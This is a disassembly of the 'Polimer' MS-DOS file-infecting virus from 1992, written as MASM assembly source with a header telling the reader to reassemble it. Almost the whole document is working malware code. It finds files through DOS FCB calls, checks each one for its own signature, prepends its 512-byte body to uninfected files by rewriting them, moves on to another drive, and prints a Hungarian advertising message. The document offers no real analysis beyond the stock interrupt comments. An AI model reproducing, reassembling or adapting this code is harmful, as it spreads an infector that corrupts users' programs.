PAGE  59,132
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ                        POLIMER VIRUS                                 ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ      Disassembly by >> Wasp << a.k.a. Night Crawler.                 ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   5-Jan-92					         ÛÛ
;ÛÛ      Version:   1.0d                                                 ÛÛ
;ÛÛ      Passes:    5	       Analysis Options on: OW		         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Reassemble with MASM 5.01                                       ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
movseg		 macro reg16, unused, Imm16     ; Fixup for Assembler
		 ifidn	<reg16>, <bx>
		 db	0BBh
		 endif
		 ifidn	<reg16>, <cx>
		 db	0B9h
		 endif
		 ifidn	<reg16>, <dx>
		 db	0BAh
		 endif
		 ifidn	<reg16>, <si>
		 db	0BEh
		 endif
		 ifidn	<reg16>, <di>
		 db	0BFh
		 endif
		 ifidn	<reg16>, <bp>
		 db	0BDh
		 endif
		 ifidn	<reg16>, <sp>
		 db	0BCh
		 endif
		 ifidn	<reg16>, <BX>
		 db	0BBH
		 endif
		 ifidn	<reg16>, <CX>
		 db	0B9H
		 endif
		 ifidn	<reg16>, <DX>
		 db	0BAH
		 endif
		 ifidn	<reg16>, <SI>
		 db	0BEH
		 endif
		 ifidn	<reg16>, <DI>
		 db	0BFH
		 endif
		 ifidn	<reg16>, <BP>
		 db	0BDH
		 endif
		 ifidn	<reg16>, <SP>
		 db	0BCH
		 endif
		 dw	seg Imm16
endm
DATA_1E		EQU	80H
DATA_2E		EQU	162H
DATA_3E		EQU	16AH
DATA_4E		EQU	0C0H
DATA_5E		EQU	103H
DATA_6E		EQU	128H
DATA_7E		EQU	2B9H
DATA_8E		EQU	0C0H
DATA_9E		EQU	0C1H
DATA_10E	EQU	0C8H
DATA_12E	EQU	0CAH
DATA_14E	EQU	0CCH
DATA_23E	EQU	0
DATA_24E	EQU	100H
DATA_25E	EQU	200H
  
SEG_A		SEGMENT	BYTE PUBLIC
		ASSUME	CS:SEG_A, DS:SEG_A
  
  
		ORG	100h
  
POLIMER		PROC	FAR
  
START:
		JMP	LOC_4			; (0183)
		DB	 00H, 3FH
		DB	7 DUP (3FH)
		DB	 43H, 4FH, 4DH, 00H, 1AH, 00H
		DB	 00H, 00H, 2EH,0F2H, 0CH, 2BH
		DB	 01H
		DB	15 DUP (0)
DATA_18		DB	'A le', 27H, 'jobb kazetta a POLI'
		DB	'MER kazetta !   Vegye ezt !    ', 0AH
		DB	0DH, '$'
		DB	'ERROR', 0AH, 0DH, '$'
DATA_19		DW	5
DATA_20		DW	18D8H
LOC_1:
		MOV	SI,DATA_7E
		MOV	DI,DATA_8E
		MOV	CX,30H
		CLD				; Clear direction
		REP	MOVSB			; Rep when cx >0 Mov [si] to es:[di]
		JMP	$-0BAH
LOC_2:
		JMP	LOC_10			; (0296)
LOC_3:
		JMP	LOC_9			; (028F)
LOC_4:
		MOV	AL,0
		MOV	AH,0EH
		INT	21H			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		MOV	DX,DATA_4E
		MOV	AH,1AH
		INT	21H			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		MOV	DX,DATA_6E
		MOV	AH,9
		INT	21H			; DOS Services  ah=function 09h
						;  display char string at ds:dx
LOC_5:
		MOV	DX,DATA_5E
		MOV	AH,11H
		INT	21H			; DOS Services  ah=function 11h
						;  find filename, FCB @ ds:dx
		TEST	AL,AL
		JNZ	LOC_2			; Jump if not zero
LOC_6:
		MOV	WORD PTR DS:DATA_14E,2424H
		MOV	AX,DS:DATA_12E
		MOV	WORD PTR DS:DATA_12E+1,AX
		MOV	AX,DS:DATA_10E
		MOV	AL,2EH			; '.'
		MOV	WORD PTR DS:DATA_10E+1,AX
		MOV	AL,2
		MOV	DX,DATA_9E
		MOV	AH,3DH			; '='
		INT	21H			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		JC	LOC_3			; Jump if carry Set
		MOV	DATA_19,AX
		MOV	BX,DATA_19
		MOV	CX,0
		MOV	DX,0
		MOV	AL,2
		MOV	AH,42H			; 'B'
		INT	21H			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		JC	LOC_3			; Jump if carry Set
		MOV	DATA_20,AX
		MOV	BX,DATA_19
		MOV	CX,0
		MOV	DX,0
		MOV	AL,0
		MOV	AH,42H			; 'B'
		INT	21H			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		JC	LOC_3			; Jump if carry Set
		MOV	BX,DATA_19
		MOV	CX,200H
		MOV	DX,DATA_23E
		MOV	AX,DS
		ADD	AX,1000H
		MOV	DS,AX
		MOV	AH,3FH			; '?'
		INT	21H			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		MOV	CX,80H
		CLD				; Clear direction
		MOV	SI,DATA_24E
		MOV	DI,OFFSET DS:[200H]
		REPE	CMPSB			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		JZ	LOC_8			; Jump if zero
		MOV	BX,CS:DATA_19
		MOV	CX,CS:DATA_20
		SUB	CX,200H
		MOV	DX,DATA_25E
		MOV	AH,3FH			; '?'
		INT	21H			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		MOV	AX,DS
		SUB	AX,1000H
		MOV	DS,AX
		MOV	BX,DATA_19
		MOV	CX,0
		MOV	DX,0
		MOV	AL,0
		MOV	AH,42H			; 'B'
		INT	21H			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		MOV	BX,DATA_19
		MOV	DX,OFFSET DS:[100H]
		MOV	CX,200H
		MOV	AH,40H			; '@'
		INT	21H			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		MOV	BX,DATA_19
		MOV	DX,DATA_23E
		MOV	CX,DATA_20
		MOV	AX,DS
		ADD	AX,1000H
		MOV	DS,AX
		MOV	AH,40H			; '@'
		INT	21H			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		MOV	AX,DS
		SUB	AX,1000H
		MOV	DS,AX
		MOV	BX,DATA_19
		MOV	AH,3EH			; '>'
		INT	21H			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		JMP	SHORT LOC_10		; (0296)
		DB	90H
LOC_7:
		MOV	DX,DATA_5E
		MOV	AH,12H
		INT	21H			; DOS Services  ah=function 12h
						;  find next filenam, FCB @ds:dx
		TEST	AL,AL
		JNZ	LOC_10			; Jump if not zero
		JMP	LOC_6			; (01A2)
LOC_8:
		MOV	AX,DS
		SUB	AX,1000H
		MOV	DS,AX
		MOV	BX,DS:DATA_3E
		MOV	AH,3EH			; '>'
		INT	21H			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		JMP	SHORT LOC_7		; (0270)
LOC_9:
		MOV	DX,DATA_2E
		MOV	AH,9
		INT	21H			; DOS Services  ah=function 09h
						;  display char string at ds:dx
LOC_10:
		MOV	AH,19H
		INT	21H			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		TEST	AL,AL
		JNZ	LOC_11			; Jump if not zero
		MOV	DL,2
		MOV	AH,0EH
		INT	21H			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		MOV	AH,19H
		INT	21H			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		TEST	AL,AL
		JZ	LOC_11			; Jump if zero
		JMP	LOC_5			; (0197)
LOC_11:
		MOV	DX,DATA_1E
		MOV	AH,1AH
		INT	21H			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		JMP	LOC_1			; (016E)
		DB	0BEH, 00H, 03H
		DB	0BFH, 00H, 01H,0B9H, 00H,0FDH
		DB	0FCH,0F3H,0A4H,0EBH
		DB	 32H, 90H
		DB	56 DUP (0)
  
POLIMER		ENDP
  
SEG_A		ENDS
  
  
  
		END	START